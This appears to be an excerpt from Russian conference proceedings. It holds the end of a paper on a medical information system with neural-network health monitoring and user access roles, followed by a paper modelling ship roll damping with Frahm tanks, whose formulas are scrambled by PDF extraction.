Такая функция уже широко используется и была освящена в нескольких работах [1]. 
Нейросеть, если указать ей тематику и специфику изображения, может гарантировать 
уверенное распознавание фотографий. Вторая функция – уже более важная для эффек-
тивной работы всей информационной системы, является функцией мониторинга пока-
зателей здоровья. Помимо этого, функция мониторинга будет выполнять прогнозиру-
ющие аспекты [2]. Так, например, аналитический модуль будет проверять так называе-
мый дневник здоровья пациента – сравнивая его показатели (давление скорость сердце-
биения и уровень сахара в крови) за определённый период, а после – сообщать лечаще-
му врачу о нормальности текущего состояния пациента и сигнализируя о его возмож-
ном ухудшении. 

Для приложения и информационной системы, были определены предполагаемые 
авторизационные роли (таблица 1). 

Таблица 1 – Предполагаемые роли пользователей 
Роль Описание 

Системный ад-
министратор 

Максимальный уровень доступа. Возможности настройки и 
поддержки системы, управления учетными записями пользова-
телей, резервного копирования и восстановления данных, тех-
нической поддержки пользователей. 

Администрация 
медучреждения 

Высокий уровень доступа. Возможности контроля за деятель-
ностью всего медицинского персонала, обработки жалоб и об-
ращений, распределения ресурсов, генерации управленческой 
отчётности. 

Врач 

Расширенный уровень доступа. Возможности полного доступа 
к медицинским картам пациентов, ведения записей осмотра, 
добавления диагнозов, назначения лечения, создания отчётов 
для руководства. 

Медицинский 
персонал 

Средний уровень доступа. Возможности регистрации пациен-
тов и внесения данных в медкарты. 
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Продолжение таблицы 1 
Роль Описание 

Пациент 
Минимальный уровень доступа. Возможности доступа к своей 
медицинской карте, записи на приемы, изменения личных дан-
ных, ведения дневника здоровья, ведения диалога с врачом. 

Гость 

Минимальный уровень доступа. Возможности просмотра об-
щей информации о системе, использования базовых сервисов, 
таких как запись на прием (без сохранения персональных дан-
ных). 

В ходе исследования были рассмотрены современные тенденции информатиза-
ции в медицине, включая примеры внедрения информационных систем для повышения 
качества медицинских услуг и упрощения взаимодействия между пациентами и меди-
цинским персоналом. Особое внимание уделено использованию нейронных сетей в 
рамках аналитического модуля информационной системы «Ласточка». 

Нейронные сети играют важную роль в автоматизации анализа медицинских 
данных, обеспечивая мониторинг состояния пациентов и прогнозирование возможных 
изменений в их здоровье. Однако, несмотря на значительный потенциал этой техноло-
гии, её возможности пока ограничены и требуют дальнейшего развития для безопасно-
го и эффективного применения в критически важных областях, таких как медицина. 

Тем не менее, разработанная система демонстрирует высокий потенциал для 
улучшения качества медицинского обслуживания, ускорения процесса диагностики и 
лечения, а также создания более комфортных условий для всех участников лечебного 
процесса. 
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ON THE STABILIZATION OF THE SHIP'S LATERAL ROLLING WITH FRAM 
TANKS 

 
Аннотация. Рассматривается математическая модель боковой качки корабля на тихой 
воде с учетом использования успокоительных цистерн Фрама. Получена система диф-
ференциальных уравнений, описывающая совместные колебания судна и воды в ци-
стернах. На основе анализа этой системы показан затухающий характер колебаний суд-
на. 
Abstract. A mathematical model of ship lateral rolling in calm water is considered, taking into 
account the use of Fram anti-rolling tanks. A system of differential equations is obtained, de-
scribing the joint oscillations of the ship and the water in the tanks. Based on the analysis of 
this system, the damping nature of the ship's oscillations is shown. 
Ключевые слова: остойчивость судна, успокоители качки, цистерны Фрама. 
Keywords: ship stability, stabilizers, Fram tanks. 

 
Мореходность корабля является современной динамически развивающейся об-

ластью научных исследований, что обусловлено потребностями кораблестроительной 
отрасли [1]. Одной из основных задач при проектировании судов остается борьба с бо-
ковой качкой. 

Успокоители качки (стабилизаторы) – это специальные установки, способству-
ющие уменьшению амплитуды качки судна; целью успокоения колебаний для граж-
данских судов является предоставление больших удобств пассажирам и экипажу, для 
военных кораблей – обеспечение более надежного и длительного действия артиллерии. 

Успокоители качки должны отвечать следующим условиям: 
а) возможно полнее умерять собственные колебания судна; 
б) возможно полнее умерять вынужденные колебания судна, особенно при усло-

виях, близких к резонансу; 
в) по возможности увеличивать период колебания судна. 
В качестве успокоителей качки применяют боковые кили, успокоительные цистер-

ны Фрама, гироскопические успокоители качки и другие, более сложные системы [2]. 
Принцип работы успокоительных цистерн Фрама 
Успокоительные цистерны Фрама состоят из двух боковых сосудов AA (рисунок 

1), которые соединены внизу водяным соединительным каналом В, а наверху – воздуш-
ным каналом C, оснащенный вентилем D. Боковые сосуды частично заполнены водой. 

 
Рисунок 1 – Принцип действия успокоительных цистерн Фрама 
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Если судно, находящееся на тихой воде, накренить на один борт и затем предо-
ставить себе, то под действием выпрямляющей пары оно начинает возвращаться в пря-
мое положение, перейдя которое накренится на другой борт, и т. д. Таким образом, 
судно начинает совершать колебания около своего положения равновесия до тех пор, 
пока колебания не поглотятся сопротивлением воды. 

Математическая модель стабилизатора качки судна 
Дифференциальное уравнение движения судна при том, что слой воды высотой z 

перемещается из одного бокового сосуда в другой, будет [3]. 
2

2
02

( ) 2 0
d

K P a F b
dt


       ,    (1) 

где K – момент инерции массы корабля относительно продольной оси, проходящей че-
рез ого центр тяжести,   – угол отклонения судна, P – вес судна, 

0( )a   – метацен-

трическая высота, F – площадь поперечного сечения бокового сосуда, b – расстояние от 
средней линии воды в сосуде до диаметральной плоскости корабля, z b   – изменение 
уровня воды в сосуде относительно среднего её уровня при нахождении судна в стоя-
чей воде, – угол наклона воды в боковом сосуде,   – вес единицы объема воды. Вели-
чинами, сопротивляющимися наклонению судна, являются момент силы инерции судна 

2

2

d
K

dt

 , восстанавливающий момент устойчивости 
0( )P a    и момент объема жидко-

сти, перелившегося из одной цистерны в другую, равный произведению веса этого объ-
ема Fz Fb     на плечо 2b, т. е. 22F b  , противодействует дальнейшему отклонению 
судна и поэтому вводится в уравнение со знаком минус. 

Уравнение, описывающее  движения воды в соединительном канале, если отсчи-
тывать длину канала l от диаметральной плоскости при неизменном поперечном сече-

нии f и судне, находящемся в стоячей воде, будет иметь вид 
2

2
0

fl d z
f z

g dt


   . 

Первое слагаемое показывает силу инерции столба жидкости в канале, а второе 
– силу давления, которая возникает из-за разности уровней в канале. Здесь g – ускоре-
ние свободного падения. Преобразуя уравнение, получим 

2

2
0

d z g
z

dt l
  . 

Учитывая, что z b  , при мгновенной высоте давления 2 ( )H b     возника-

ют колебания воды и сопротивление воды пропорционально первой степени угловой 
скорости, вместо предыдущего уравнения получим 

2

2
( ) 0

d d g
h

dt dt l

 
     ,   (2) 

где h – коэффициент сопротивления воды. Момент инерции массы судна 2P
K r

g
 , где 

r – радиус инерции. Уравнения (1) и (2) образуют систему, описывающую совместно 
качку судна и колебания столба воды в канале: 
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Исключая  из уравнений (3) и вводя обозначения 2 0
2

( )g a
m

r

 
 , 2 g

k
l

 , отбра-

сывая, в виду его малости, член 
2 2

2

g zF b

r Pl


 , получим дифференциальное уравнение ви-

да 
4 3 2

2 2 2 2 2
4 3 2

( ) 0
d d d d

h m k hm m k
dt dt dt dt

   
       .  (4) 

Уравнение (4) является линейным дифференциальным уравнением четвертого 
порядка. Его характеристическое уравнение: 

 4 3 2 2 2 2 2 2 0q hq m k q hm q m k     . 

Общим решением уравнения (4) будет выражение 

   1 2
1 1 2 1 3 2 4 2cos sin cos sinp t p te С q t С q t e С q t С q t      . (5) 

Анализ общего решения (5) показывает, что результирующее движение судна 

состоит из наложения двух затухающих колебаний с периодами 
1

1

2
T

q


 , 

2
2

2
T

q


 . Это 

подтверждает эффективность использования успокоителей Фрама для успокоения бо-
ковой качки судна. 
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